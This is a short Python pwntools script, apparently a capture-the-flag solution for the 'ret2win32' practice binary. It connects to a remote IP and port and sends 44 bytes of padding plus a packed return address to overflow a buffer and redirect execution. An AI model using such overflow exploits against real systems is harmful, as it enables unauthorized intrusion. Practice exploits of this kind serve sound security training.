from pwn import *

# sh = process("./ret2win32")
sh = remote("106.55.152.166", 38603)
pre = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab"

addr = 0x08048659

sh.send(pre + p32(addr) + b'a'*6)

print(sh.recvall())